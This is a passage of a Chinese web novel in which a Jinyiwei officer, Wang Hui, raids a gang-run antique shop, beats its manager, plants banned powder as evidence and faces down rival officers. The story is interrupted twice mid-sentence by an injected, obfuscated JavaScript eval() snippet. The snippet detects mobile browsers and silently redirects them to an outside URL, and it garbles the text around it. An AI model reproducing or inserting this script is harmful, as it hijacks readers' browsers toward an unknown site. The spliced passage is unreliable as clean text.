“无妨,”陶永春摆了摆手,一副浑不在意、胸有成竹的模样,吩咐道:“慌什么?去后面那间僻静的厢房,请岳天波岳大人过来吧。咱们这次可是卖了他天大的面子,才帮他千户所做这件事儿,惹出这烂摊子,自然得由他这位千户所的红人、霍千户的心腹来亲自收拾。总不能好处他们拿着,黑锅和风险却让我们地鼠帮来背吧?天下没这个道理。” 掌柜的闻言,脸上的担忧之色并未褪去,反而更甚,急忙上前一步,劝道:“帮主,要不……您还是先暂时从密道离开,避一避风头?来者不善啊! 南城百户所来的可是那个‘小杀神’王辉啊!王凯那等猛人都栽在他手里的那个!听说他动起手来毫无顾忌,无法无天,凶残得很!” “小杀神?杀了王凯那个?”陶永春嗤笑一声,脸上满是不屑和倚老卖老的神气,说道:“怕什么?老夫又不是王凯那种只知好勇斗狠、硬打硬冲的蠢货。 他王辉再横,再凶,还能不讲朝廷王法不成?无凭无据,他难道还敢光天化日之下,当着这么多人的面,未经审问就直接砍了我这个地鼠帮帮主? 他要是真敢那么做,嘿嘿,千户所和府衙的老爷们正好有现成的理由办他!放心吧,岳大人自然会出面周旋。咱们呐,稳坐钓鱼台,看戏就好了。” 他重新闭上眼睛,老神在在地继续捻动他的佛珠,嘴角甚至还挂着一丝一切尽在掌握之中的微笑。 32. 我的规矩就是规矩 “这……”那掌柜的周贵脸上露出明显的迟疑和担忧,脚步有些踌躇。 陶永春不耐烦地摆了摆手,说道:“行了,别磨蹭了。我就待在这里。若是锦衣卫一来,我这个帮主就闻风而逃,这消息要是传扬出去,我陶永春以后还怎么在江湖上立足?脸还要不要了?” 周贵眉头紧锁,纠结道:“帮主,我不是这个意思……只是,我听说这个王辉很不好惹。 此子年轻气盛,行事霸道,根本无法以常理度之!我可是听说了,连千户所的岳天波岳大人之前都在他手里吃过瘪!他手下那个叫陈帆的高手,对外宣称是执行任务牺牲了,但有小道消息流传,说就是因为岳大人派陈帆去找王辉的麻烦,结果被那王辉二话不说,直接一刀就给砍了!这王辉做事,根本是百无禁忌,完全不按常理出牌啊!咱们不得不防啊!” 陶永春微微皱了皱眉,指间捻动的佛珠速度加快了几分,沉吟道:“你说的倒也在理……少年得志,便猖狂无忌,这类人确实最为麻烦,因为他们往往不计后果。 不过……”陶永春语气一转,带着几分江湖人的固执!走,我现在肯定是不能走的。若是我就这么灰溜溜地跑了,这几十年来辛苦积攒的名声就算彻底毁了。传出去,江湖上的朋友会怎么看我?岂不是要笑我陶永春被一个乳臭未干的黄口小儿吓得屁滚尿流,连面都不敢照? 陶永春顿了顿,想出一个折中的办法,道:“这样吧,等会儿我先暂时不露面,就在这楼上看着。你下去周旋。已经派人去请岳天波了,等他到了,我再下去。有他在场,想必那王辉再猖狂,也得收敛几分,按规矩办事。” 周贵仔细想了想,觉得这似乎是眼下最稳妥的办法,点头道:“若有岳大人在场主持局面,那应该是没问题了。毕竟他代表着千户所,王辉再横,也不敢公然违逆上官吧?” 陶永春点了点头,又想起关键一事,压低声音问道:“对了,最重要的,早上动手惹出人命的那几个兄弟,都藏妥当了吧?确定万无一失?” 周贵连忙点头,信心十足地低声道:“帮主放心,绝对藏好了!动手的那几个都是老手,机灵得很,事成之后就直接从密道回来了,现在藏在最隐蔽的那处地窖里,锦衣卫绝不可能找到。其他相关知情人也都打点好了,口径一致。” “那就好,”陶永春松了口气,叮嘱道:“只要王辉逮不到确切的人证,他就算心里再怀疑,再不爽,也没什么实质性的办法。你记得到时候风声过了,安排那几个兄弟出去避几天风头,等这事彻底平息了再回来。” “我明白的,帮主。”周贵郑重地点头应下。 就在这时, 楼下突然传来一阵巨大的喧哗和骚动,其间夹杂着呵斥声和桌椅被碰撞的声响。 周贵迅速走到窗边,小心翼翼地拨开一条缝隙向下望去,脸色顿时一变。 只见长街上,出现了一大队杀气腾腾的锦衣卫,黑压压的一片,粗略估计,绝不下百人之众!他们迅速分散开来,直接将地鼠轩的前后门都封锁住了。 “帮主,锦衣卫大队人马到了,人数不少,看来是来真的!我这就下去应付。”周贵急忙回身道。 陶永春深吸一口气,强作镇定道:“嗯,去吧。记住,只要他们逮不到人,你就给我硬气点,不用怕!一切等到岳天波过来,自然有他出面料理。” “是!” 周贵拱了拱手,整理了一下衣袍,努力让自己看起来镇定自若,然后急匆匆地下了楼。 …… 地鼠轩,号称都江城第一古玩店。 这是一座规模宏大的独立阁楼,高达五层,飞檐翘角,气势不凡。仅仅是底下的第一层,就直接是一个开阔无比的大院,内里雕梁画栋,假山流水,亭台小榭布置得极有韵味,不知道的还以为进了哪家豪门的私家园林。来这里往来穿梭的客人非富即贵,络绎不绝。 基本上,在都江城玩古董文玩这一行的,无论是出货还是收货,地鼠轩都是首选之地。 毕竟,有着“钻地鼠”陶永春这块金字招牌在,信誉度很高,交易双方也都不用担心会被外人黑吃黑——因为最大的“黑”,本身就坐镇在这里。 此时,尽管外面街道上一片混乱,但地鼠轩内依旧是一派人来人往、热闹非凡的景象。似乎外界的纷扰丝毫影响不到这里的“风雅”。 “锦衣卫办差!闲杂人等一律速速回避!阻碍公务者,同罪论处!” 突然,一声如同炸雷般的怒吼在地鼠轩宽敞的前厅轰然响起,瞬间压过了所有的嘈杂声! 紧接着,大门被人粗暴地彻底推开,一大群身着飞鱼服、腰佩绣春刀、神色冷峻的锦衣卫如同潮水般涌了进来,不由分说,当即就开始强硬驱散里面的客人和伙计。 虽然如今的锦衣卫在江湖中的威望早已大不如前,但毕竟是朝廷正规的暴力机构,对于大多数商人和平民来说,依旧有着强大的威慑力。 大部分客人见状,虽然不满,但也只能低声抱怨着,纷纷主动离开。 然而,能够来地鼠轩消费的,大多非富即贵,其中总有一些自恃身份背景、不把普通锦衣卫放在眼里的人。 一个穿着耀眼金色锦衣、满脸骄横之气的公子哥,正搂着一个身姿曼妙的女子从一个雅间里被锦衣卫驱赶出来。他感觉大失颜面,骂骂咧咧地朝着为首的顾斩等人大声呵斥道:“你们是哪个衙门的?懂不懂规矩!知不知道本少爷是什么人?竟然敢来打扰本少爷的雅兴,信不信我……” “啪!” 一声清脆响亮的耳光声骤然响起! 那公子哥威胁的话还没说完,就被王辉反手一巴掌狠狠地抽在脸上!巨大的力道直接将他抽得原地转了半圈,然后踉跄着摔倒在地,脸上瞬间浮现出一个清晰的巴掌印,迅速肿胀起来。 他旁边那个女子吓得花容失色,惊叫一声,慌忙蹲下去搀扶。 那公子哥何曾受过如此奇耻大辱,顿时勃然大怒,捂着火辣辣的脸爬起来,指着王辉,气得浑身发抖,怒吼道:“你……你好大的狗胆!你知不知本少爷是谁?我爹可是巡检司的……” “呃……” 他的狠话再一次没能说完。 王辉如同鬼魅般瞬间上前一步,一只手如同铁钳般直接掐住了他的喉咙,将他后面的话全部堵了回去。 王辉微微俯身,冰冷的目光直视着对方因窒息和惊恐而涨红的脸,声音不大,却如同寒冰刺骨: “你信不信,你这个爹的名字今天要是从你嘴里说出来,我就能让他下午就进锦衣卫的诏狱里去陪你?要不要试试?” 被王辉死死掐住脖子,那公子哥徒劳地挣扎着,双脚几乎离地。但听到王辉这句杀气腾腾的话,他浑身猛地一僵,挣扎的动作瞬间停止了,眼中充满了难以置信的恐惧。 王辉稍微松开一点力道,让他能勉强呼吸,然后冷冰冰地报出了自己的名字:“我叫王辉,南城百户所,总旗。” 那一瞬间,仿佛一盆冰水从头浇下,那公子哥的脸色“唰”地一下变得惨白如纸,毫无血色。 这段时间,只要是在都江城稍微有点身份消息又不算太闭塞的人,就不可能没听说过南城百户所的疯狂行事风格,以及“小杀神”王辉的凶悍名头。 而这个公子哥,显然不属于“两耳不闻窗外事”的那类人。 他家中的长辈,恐怕早已千叮万嘱,近期绝对不能得罪南城百户所,尤其是那个叫王辉的煞星。此刻,他真是肠子都悔青了,惊得冷汗瞬间湿透了内衣。 “对……对不起……王……王大人……是小的有眼无珠……冲撞了大人……对不住……”公子哥的声音颤抖得几乎不成调,之前的嚣张气焰荡然无存。 “滚!” 王辉像是丢垃圾一样,随手将他掼在地上。 这一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513484|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那公子哥一句屁话都不敢再说,连滚带爬地站起来,甚至顾不上那个还在瑟瑟发抖的女伴,低着头就往门外冲,恨不得爹妈多给自己生两条腿。 王辉冷哼一声,仿佛只是随手拍飞了一只苍蝇。他目光扫过瞬间安静下来的大厅,猛地一挥手,厉声道:“锦衣卫听令!给我搜!仔细地搜!任何一个角落都不许放过!” 就在这时候, 楼上传来一阵急促而略显慌乱的脚步声。一个留着山羊胡须、穿着绸缎褂子、作掌柜打扮的中年人——周贵,急匆匆地跑了下来,脸上努力挤出一副殷勤而又带着委屈的笑容。 他小跑到王辉面前,连连作揖,急忙道:“哎哟喂,诸位大人,诸位大人!这是怎么了?发生什么事了?有什么事情,您派人吩咐一声就行了呀,何必劳动您的大驾亲临呢?小的这小店……还得做生意啊,您这……” 一边说着,周贵十分熟稔地靠近王辉,身体微微遮挡着其他人的视线,悄然就往王辉手里塞来一沓厚厚的银票,动作隐蔽而迅速。 王辉看都没看,直接一摆手,毫不客气地将银票打落在地。 周贵的脸色瞬间一僵,笑容变得有些勉强。 王辉从身旁一名锦衣卫手中取过一沓画影图形,直接摔到周贵怀里,冷声道:“这些人,认识吧?少跟本官耍花样,马上把人都给我交出来!” 周贵手忙脚乱地接住那些画像,一张一张地、装作非常认真仔细地看了一遍,然后脸上堆起更加谄媚的笑容,恭恭敬敬地将画像递还给王辉,叫屈道:“王大人,王大人明鉴啊!真不是小人不配合您的指示,实在是……这些人我一個都不认识啊!您是不是……搞错了?来我这地方找人,这……这肯定是找错地方了啊!” 王辉瞳孔微缩,眼中寒光乍现,声音陡然变得无比森寒:“你跟本官打马虎眼?这些人,全都是你们地鼠帮登记在册的帮众!你跟我说你不认识?是真当我锦衣卫的刀……不锋利了吗?” “哎哟,王大人!王大人您可千万别这么说!”周贵慌忙摆手,一副被吓到的样子,大声叫屈道:“大人啊,冤枉啊!我们地鼠轩可是正正经经、合法经营的商铺,做的都是正当生意啊!我们可不是什么帮派啊! 大人,您可以随时去府衙查证啊!地鼠轩可是在府衙登记造册、依法纳税的正经商铺,每一砖每一瓦那可都是得到府衙许可的!您说的什么地鼠帮……小的真是闻所未闻啊!” 王辉微微歪了歪头,脖颈发出轻微的“咔”声,脸上露出一抹极度不耐烦的冰冷笑容,道:“你不承认?没关系。” 王辉顿了顿,声音陡然提高,如同惊雷般响彻大厅:“本官现在收到线报,你地鼠轩私藏朝廷禁药,涉嫌大规模走私!来人!给我搜!里里外外,仔仔细细地搜!搜不到,就给我掘地三尺!” “是!”众锦衣卫齐声应喝,气势惊人,当即就要动手。 周贵脸色大变,急忙张开双臂拦在前面,声音也拔高了几分,带着一丝色厉内荏:“王大人!您这……这可就不合规矩了!就算要搜查,那也得有府衙开具的正式搜查令才行! 您说我们走私禁药?那是要讲证据的!不能是您上下嘴皮一碰,说什么就是什么啊!这天下,总得讲王法吧?您不能……” “嘭!” 一声闷响! 王辉毫无征兆地突然抬腿,一脚狠狠地踹在周贵的肚子上! 周贵根本没想到对方会直接动手,“呃”地一声痛苦的闷哼,整个人如同虾米一样蜷缩起来,倒飞出去,重重地撞在身后的楼梯栏杆上,然后滚落在地,疼得龇牙咧嘴,冷汗直冒。 王辉一步踏前,居高临下地俯视着在地上痛苦呻吟的周贵,声音冰冷得如同数九寒天的冰棱,带着无可置疑的威严: “规矩? 在本官这里, 我的话,就是规矩! 你,不服吗?” 33. 南城乱不乱老子说了算 周贵并非什么武道高手,甚至未曾修行过内力,不过是个略通人情世故的寻常掌柜。 被王辉这蕴含怒气的一脚踹中胸口,他当场眼前一黑,五脏六腑仿佛移了位,喉头一甜,猛地喷出一口鲜血。 他想要开口辩解或是求饶,但剧痛和涌上的鲜血堵住了喉咙,只能发出“嗬嗬”的嘶哑声,脸色瞬间变得惨白如纸。 同一时间, “掌柜的!” “掌柜的!您怎么样?!” “妈的,欺人太甚!兄弟们,抄家伙!” 地鼠轩内,那些原本伪装成伙计、护卫的帮众眼见掌柜被打,顿时群情激愤,纷纷从柜台下、角落里抽出藏匿的刀棍兵刃,霎时间,厅堂内寒光闪闪,气氛剑拔弩张,降至冰点! 而随王辉前来的一众南城锦衣卫反应更是迅速,“仓啷啷”一片清脆的金铁摩擦声响起,绣春刀瞬间全部出鞘,锋利的刀尖齐刷刷地对准了那些蠢蠢欲动的帮众,动作整齐划一,森然的杀气弥漫开来,压得人喘不过气。 “停下……都给我停下……咳咳……” 就在冲突一触即发之际,瘫倒在地的周贵强忍着剧痛,用力又咳出一口淤血,声嘶力竭地大吼着,制止了那些冲动的帮众。 他艰难地用手肘支撑起身体,踉踉跄跄地爬了起来,用袖子胡乱擦了擦嘴角不断溢出的血迹。 尽管脸色苍白如纸,剧痛让他浑身颤抖,他脸上却依旧强行扯出一缕比哭还难看的谄媚笑容,望着王辉,声音嘶哑道: “王…王大人…要搜查…小的…小的哪里敢阻拦……是小的不懂事…冲撞了大人…您…您请便…尽管搜…尽管搜……” 王辉冰冷的目光扫过那些依旧满脸不忿、紧握兵刃的地鼠帮帮众,嘴角勾起一抹不屑的冷笑,再次下令:“搜!给我仔仔细细地搜,任何角落都不许放过!” “是!” 锦衣卫们轰然应诺,就要再次行动。 然而,就在此时—— 大门外突然传来一声清冷而充满威严的呵斥: “住手!锦衣卫办案,什么时候变得如此没有规矩了!” 王辉微微眯起眼睛,眼中寒光一闪而逝,缓缓转过身。 只见西城百户岳天波,正带着一队精锐缇骑,气势汹汹地闯了进来。与他同行的,还有一位千户所的百户以及两名身着参事服饰的中年官员,个个面色阴沉,官威十足。 岳天波一马当先,径直走到王辉面前,目光锐利地扫过一片狼藉的大厅和受伤的周贵。 随即对着王辉厉声呵斥道:“谁允许你们这么胡来的?!锦衣卫办案,讲究的是证据,是流程! 你们南城百户所就是这么无法无天的吗? 无凭无据,就敢公然冲击合法商铺,殴打掌柜? 你们眼里还有没有王法,有没有上下尊卑!” 然而,王辉仿佛根本没听到他的话,甚至连眼皮都懒得抬一下。 他只是侧过头,目光扫过自己身后那些因为岳天波等人的出现而略有迟疑的下属,声音陡然变得无比严厉沉浑: “还愣着干什么?耳朵都聋了吗?没听到本官的命令?给我搜!掘地三尺地搜!谁敢阻拦,以同党论处!” 岳天波:你……住手! 被王辉如此彻底地无视,岳天波只觉得一股血气直冲头顶,勃然大怒。 指着王辉的鼻子怒吼道:王辉!你什么意思?没听到本官的话吗?你想造反不成?! 王辉这才仿佛刚注意到他一般,微微偏过头,脸上没有任何表情,只是轻轻招了招手。 一旁的心腹陈飞立刻心领神会,迅速从旁边搬来一把太师椅,稳稳地放在王辉身后。 王辉一撩飞鱼服下摆,好整以暇地缓缓坐下,翘起二郎腿,动作从容不迫。 旁边自然有锦衣卫递上一杯新沏的热茶。 王辉慢条斯理地用杯盖拨弄着漂浮的茶叶,轻轻吹了口气,呷了一口,这才抬起眼皮,仿佛刚认出岳天波一般,轻笑道: “哦?我当是哪条野狗在门口乱吠呢……原来是岳大人大驾光临啊。失敬,失敬。” “竖子!狂妄!”岳天波脸色瞬间气得铁青,手指都因为愤怒而在微微颤抖,“你…你敢公然藐视上官?!” 王辉:行了行了,大吼大叫的,成何体统? 王辉用杯盖轻轻敲击着杯沿,发出清脆的响声,语气带着一丝慵懒和不耐烦道:岳大人,要摆你上官的谱,怕是来错地方了。这里是南城地界,归南城百户所管辖。什么时候轮到你一个西城百户,跑到我这里来指手画脚了?你的手,是不是伸得太长了一点?” 岳天波气得浑身发抖,怒声道:“竖子你……” “竖你爹呢?”王辉微微抬了抬眼皮,打断了他的话,语气平淡却带着极致的侮辱。 公然辱骂同僚,信不信我现在就告你一个寻衅滋事、扰乱公务罪?让你也去诏狱里尝尝鲜? “你……你……”岳天波被噎得差点背过气去,指着王辉,一时竟说不出完整的话来。 他身边那位千户所的参事见状,连忙上前一步,拦住了几乎要暴走的岳天波。 此人面容精瘦,目光闪烁,带着一股官场老吏的油滑气。他朝着王辉拱了拱手,语气还算客气,但带着不容置疑的官方口吻: “王总旗,息怒。本官乃是千户所参事杨威,奉千户霍成林大人之命,特来协助贵所调查处理南城今日突发之大乱事宜。 岳百户也是心系公务,言语急切了些,还望王总旗以大局为重。” 王辉瞥了杨威一眼,嘴角勾起一抹毫不掩饰的讥讽,嗤笑了一声,说道:“杨参事是吧?果然是你们千户所的人在背后捣鬼啊。 怎么?看着我们唐浩百户不在家,就迫不及待地跳出来,想玩一手釜底抽薪,断他后路?霍千户就这么迫不及待吗?” “王总旗!”杨威的脸色瞬间阴沉下来,语气也变得生硬,“请你注意你的言辞! 你乃是朝廷锦衣卫官员,说话可是要负责任的!不要信口开河,血口喷人!千户所乃上官衙门,有权管理、协调、监督下属所有百户所! 如今南城大乱,民怨沸腾,千户所介入,乃是职责所在,合乎规章!你……” “行了行了,”王辉不耐烦地打断他。 缓缓又喝了一口茶,说道:“少跟本官扯这些冠冕堂皇的官面文章。南城今天为什么会乱,你们千户所心里比谁都清楚!不就是你们在背后指使纵容的吗?玩这种上不得台面的把戏,也不嫌丢人!” 他猛地将茶杯顿在一旁的茶几上,发出“咚”的一声闷响,声音陡然拔高,斩钉截铁道:“今天我王辉就把话撂这儿了! 你们想趁唐浩百户不在,来清理南城百户所,来摘桃子,来断我们后路?门都没有!要么,你们现在就直接弄死我,要么,就给我从哪儿来的,滚回哪儿去!南城的事,还轮不到你们来插手!” 杨威被这番话顶得脸色一阵青一阵白,胸口剧烈起伏,显然怒极。 一旁的岳天波更是忍无可忍,再次怒喝道:“王辉!你少在这里胡搅蛮缠,颠倒黑白!千户所和府衙都已经接到无数起报案! 你南城百户所不作为,致使治安崩坏,民不聊生!现经千户所与府衙紧急磋商,南城事务暂由我西城百户所与千户所联合代理! 如今满城皆乱,罪案频发,你还有什么脸面尸位素餐,阻挡我等办案?!” “乱?”王辉看着气急败坏的岳天波,仿佛听到了天大的笑话,嗤笑了一声,说道:“岳大人,你哪只眼睛看到南城乱了?我怎么不知道?” “一夜之间,发生上百起恶性案件,□□烧无数,这还不叫乱?那在你眼里,什么叫乱?!”岳天波声色俱厉地质问道。 王辉缓缓站起身,目光如同两道冰冷的电光,扫过岳天波、杨威等人,语气带着一种毋庸置疑的霸道和嚣张: “南城乱不乱,” “我王辉,说了算!” “你……狂妄至极!”岳天波气得几乎要吐血。 “闭嘴!”王辉猛然一声暴喝,如同惊雷炸响,竟然硬生生压过了岳天波的声音。 王辉目光如刀,死死盯住岳天波,“本官现在正在办案,缉拿要犯,搜查赃物!你们再敢在这里逼逼赖赖,啰嗦不休,就是在干扰公务!再敢多言,别怪本官按律拿人!” 岳天波:你办什么案?你拿什人? ”岳天波也豁出去了,毫不退让地怒吼回去,“你有什么资格在这里办案?府衙的搜查令呢?指向明确的人证物证呢?你什么都没有,就敢带人冲击商铺,严刑逼供!你分明是在滥用职权,徇私枉法!你若再继续一意孤行,本官定要上奏千户所,革你的职,办你的罪!” “证据?呵,”王辉脸上露出一抹诡异的笑容。 王辉猛地端起手边那杯还没喝完的茶,朝着岳天波劈头盖脸地就砸了过去! “嘭!” 茶杯在岳天波脚边炸开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513485|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,碎裂的瓷片和滚烫的茶水茶叶溅了他一身,将他华贵的飞鱼服弄得污秽不堪,狼狈至极。 “你……!”岳天波被这突如其来的羞辱惊呆了,一时竟忘了反应。 没等他爆发, 王辉“腾”地一下站起身,动作快如闪电,直接从怀里掏出两个早已准备好的油纸包,用力摔在地上! 油纸包散开,里面赫然是一堆白色的粉末! 王辉指着地上那些粉末,目光冰冷地望向目瞪口呆的岳天波、杨威等人,声音如同来自九幽寒渊,一字一句道: “地鼠轩,涉嫌贩卖朝廷明令禁止之禁药——五石散!” “现在,人赃并获,证据确凿!” “这,够不够?啊?! 岳天波看着地上那明显是刚刚才摔出来的“证据”,气得浑身发抖。 指着王辉,声音都变了调:“王辉!你……你当我们这些人眼睛都是瞎的吗?!你这分明是栽赃陷害!赤裸裸的栽赃!” “哼,”王辉冷哼一声,上前一步,气势磅礴,声音如同滚滚雷霆,响彻整个地鼠轩: “本官今日,就当你们眼睛都是瞎的!” “那,又、如、何?” “南城锦衣卫听令!”王辉猛然拔出腰间的绣春刀,雪亮的刀锋直指苍穹,厉声吼道:“地鼠轩贩卖五石散,罪证确凿!所有涉案人员,全都给我拿下!胆敢反抗者,格杀勿论! 谁敢阻拦!王辉的刀锋猛地转向岳天波一行人,杀气冲天,“一并处置!” 岳天波:我看谁敢! 岳天波也彻底豁出去了,“仓啷”一声拔出自己的佩刀,对着身后带来的千户所和西城百户所的人马怒吼道:“南城百户所总旗王辉,滥用私权,栽赃陷害,公然抗命!给我将此獠拿下!若敢反抗,就地正法!” 王辉:谁特么敢动一下试试?!” 王辉的声音比他更大,更狂暴,更充满杀意!他手中的绣春刀发出嗡嗡的轻鸣,毫不畏惧地直接指向岳天波的面门。 王辉:南城锦衣卫——何在?! 在!!!在!!! 在!!! 霎时间,如山崩海啸般的应和声从四面八方轰然响起! 一百多名南城百户所的锦衣卫,无论是校尉还是力士,此刻眼神坚定,面无惧色,齐齐向前踏出一步! “轰!” 整齐划一的沉重脚步声,仿佛踩在每个人的心脏上!他们手中的绣春刀闪烁着寒光,从大厅、从走廊、从门外,如同铁桶一般,将岳天波、杨威等一干千户所来人死死包围在中间! 刀光如林,杀气盈天! 霎时间,整个地鼠轩内的气氛冰冷凝固到了极点!剑拔弩张,大战一触即发! 而就在王辉身后不远处的总旗马三,此刻心神一阵剧烈恍惚,瞳孔微微收缩。 眼前这似曾相识的一幕, 让他猛地仿佛回到了三年之前…… 那时,他还只是南城百户所一个普普通通的校尉。 那一天,也和今天的情况何其相似。百户唐浩因故离城,千户所的锦衣卫在一位参事的带领下,直接来到南城百户所,以“协助管理”为名,要求接管南城百户所的一切权力。 但是,那一天和今天,却又截然不同。 那一天,南城百户所里,有四位总旗大人在场。可是,面对千户所的上官,没有任何一个人敢站出来说一个“不”字,甚至没有人敢上前多问一句缘由。所有人都选择了明哲保身,默默地躲在一边,低着头,仿佛一切都与自己无关。 那一日,南城百户所, 留守的锦衣卫,共计有三百二十一人。 无一人,敢多发一言! 无一人,敢拔刀相向! 而今日, 留守的锦衣卫,仅有一百零七人。 然而, 此刻, 拔刀出鞘者, 一百零七人! 无一例外! 凛冽的刀光,映照着一张张坚毅而无所畏惧的脸庞。 这一刻, 马三终于彻彻底底地明白了, 明白了为什么百户唐浩,会如此毫不犹豫地将百户所的权柄,托付给一个才冒头不过一个多月的年轻人。 因为这个年轻人, 他是真的敢拔刀! 向任何不公、任何强权、任何敢于伸向百户所的黑手, 毫不犹豫地, 拔刀! 34. 用刀立规矩 “来啊!” 王辉冲着岳天波等一众人怒声咆哮,声如惊雷,震得房梁上的灰尘都簌簌落下。他手中的绣春刀纹丝不动,刀尖遥指,气势如同出鞘的绝世凶兵,充满了不容置疑的压迫感。 王辉:几个老家伙,听好了——时代,已经变了! 王辉的声音带着毫不掩饰的讥讽和年轻人的狂傲。 现在出来做事,别再搞你们那套陈腐不堪、论资排辈的老大爷做派!不服?那就真刀真枪干一场啊!看看是你们的规矩硬,还是老子的刀更硬!” 千户所的那几位参事何曾见过这等阵仗,平日里他们都是在案牍之后摇笔杆子、玩弄权术的文官,此刻被这凛冽的杀气一冲,只觉得腿肚子发软,脸色发白,不由自主地连连后退了好几步,彼此交换着惊恐的眼神。 场中还能勉强保持镇定的,唯有岳天波和另外那位来自千户所的百户。 他们两人毕竟都是实打实的武道高手,也是从底层尸山血海中一步步拼杀上来的,虽然这些年身居高位,渐渐开始韬光养晦,但骨子里的血性尚未完全磨灭,还不至于就被一个年轻人的气势完全吓住。 只是,被王辉这么一个年纪足以当他们子侄辈的年轻人如此指着鼻子肆意嘲讽,两人的脸色都变得极其难看,如同吞了苍蝇一般。 来自千户所的那位百户情绪相对平稳些,毕竟他与王辉并无私怨,此来更多是奉命行事。 他伸手按住了几乎要暴起发难的岳天波,目光望向王辉,试图用相对缓和的语气说道:“王大人,不管怎么说,咱们都是同僚,同属锦衣卫体系。 锦衣卫的声誉和法度尊严,我们大家都该维护。 你这般……这般当众行事,未免太过……有失体统,恐难以服众啊。” “可去你妈的吧!”王辉毫不领情,直接冷笑着打断他,语气尖刻无比,“少在这里假惺惺地充好人! 眼前这烂摊子,南城这乱局,不都是你们千户所一手搞出来的吗?既然你们先不讲规矩,那就别怪老子不按常理出牌!” 王辉:顿了顿,目光扫过对方所有人,语气斩钉截铁,不留丝毫余地:“得了,本官今天没闲工夫跟你们磨牙。 就一句话:你们,要么现在立刻带着你们的人,从哪儿来的滚回哪儿去! 要么,就真刀真枪摆开阵势干一场!赢的,站着说话!输的,就给老子永远躺下!” 王辉:竖子猖狂! 岳天波脸色阴沉得快要滴出水来,咬牙切齿道,“王辉!你真当本官怕了你不成? 你枉顾朝廷律法,藐视锦衣卫纲纪,滥用私权,栽赃构陷!本官劝你迷途知返,现在认错还来得及!否则,继续一意孤行,天上地下,谁也保不住你!” 王辉闻言,只是轻蔑地冷笑了一下,缓缓道:“有没有种,不是靠嘴说的。 岳天波,有种你现在就下令,咱们就在这里走一场!看看最后谁先躺下! 到时候事情闹大了,我倒要看看,你背后的霍成林霍千户,有没有那个本事只手遮天,把这场惊天内讧给压下去!” 岳天波脸色一阵青一阵白,胸口剧烈起伏,显然愤怒到了极点,但握着刀柄的手,却微微有些颤抖。 岳天波……还真不敢在这个时候,就在这地鼠轩里,跟王辉爆发全面火拼。 王辉的态度已经再明确不过了——绝不可能服软!如果自己现在强行逼迫,结果必然是一场不死不休的混战。 以王辉那疯狗般的性格和其手下被煽动起来的士气,一旦打起来,绝对会血流成河,死伤难以计数! 到时候,锦衣卫内部光天化日之下大规模内讧,死伤惨重……这消息根本不可能瞒得住! 必然会惊动州府的镇抚司,甚至直达天听!到了那个时候,事情就会彻底失控,朝着一个谁也无法预料、谁也承担不起后果的方向发展。他岳天波,绝对会成为第一个被推出来顶罪的替罪羊! “疯子!这就是个彻头彻尾的疯子!” 岳天波在心里暗骂了一声,充满了憋屈和无奈。他早已不是当年那个敢打敢拼、舍得一身剐的愣头青了。 如今他年纪大了,地位、财富、家室……该有的都有了,顾虑自然也就多了! 岳天波不敢,也不愿像王辉这样毫无顾忌地拿一切去赌! 而随着岳天波这隐晦的退让和沉默, 千户所来的那一队人马,原本就不算高昂的士气瞬间跌落谷底,一个个眼神闪烁,下意识地收缩了阵型。 反之,南城百户所的锦衣卫们则气势如虹,一个个挺直了腰板,握紧了手中的刀,脸上甚至流露出一种扬眉吐气、与有荣焉的神情! 以往,千户所的锦衣卫下来,哪个不是鼻孔朝天,自觉高人一等? 他们这些百户所的同僚,没少受窝囊气。今天,能在王总旗的带领下,让这些眼高于顶的家伙如此吃瘪,众人心头都涌起一股难以言喻的畅快和自豪感! 岳天波将这一切看在眼里,脸色阴沉得可怕。 岳天波知道,自己又一次低估了王辉的胆量和决断力。 岳天波原以为唐浩离开后,群龙无首的南城百户所会是一盘散沙,可以任由他拿捏。 却万万没想到,这个才冒头没多久的年轻人,竟然有如此魄力和威望,真的敢毫不犹豫地拔刀相向! 这完全打乱了他原本的计划! 按照他原本的谋划,就是凭借千户所的权威和人多势众,以势压人,步步紧逼,压迫王辉让步。 只要王辉一退,南城百户所留守的这些人必然士气崩溃,他就可以顺势接管百户所,然后以雷霆手段进行大清洗,将唐浩这几年辛苦培养起来的根基和底蕴连根拔起,彻底断掉唐浩的后路! 可现在……全完了! “哼!” 王辉看着沉默不语的岳天波,发出一声不屑的冷哼,不再理会他们,直接招手下令:“南城锦衣卫听令!给我搜!仔仔细细地搜!任何可疑之处都不许放过!” “是!” 一众锦衣卫轰然应诺,士气高涨,当即就要再次行动起来。 然而,就在此时—— 楼上,突然传来一个苍老却中气十足、带着几分淡然笑意的声音: “王大人,且慢。” “如此兴师动众,搜查鄙店……此举,怕是于法不合,于理不通,更于情不顾吧?” 伴随着话语声,一个头发灰白、身材干瘦矮小、穿着一身锦缎袍子的老者,正慢悠悠地捻着一串佛珠,从楼梯上缓缓踱步而下。 他,正是地鼠帮帮主,“钻地鼠”陶永春! 在他身后,跟着一大群眼神凶狠、紧握兵器的江湖汉子,显然是地鼠帮的核心打手,比楼下这些外围帮众气势强了不止一筹! 而同一时间,地鼠轩那洞开的大门外,传来一阵越来越近、如同潮水般的哄闹声! 不知何时,外面原本看热闹的行人早已被驱散一空,长街变得空荡荡! 只见长街两端,分别涌来黑压压一大片人潮!粗略看去,竟有五六百号江湖汉子! 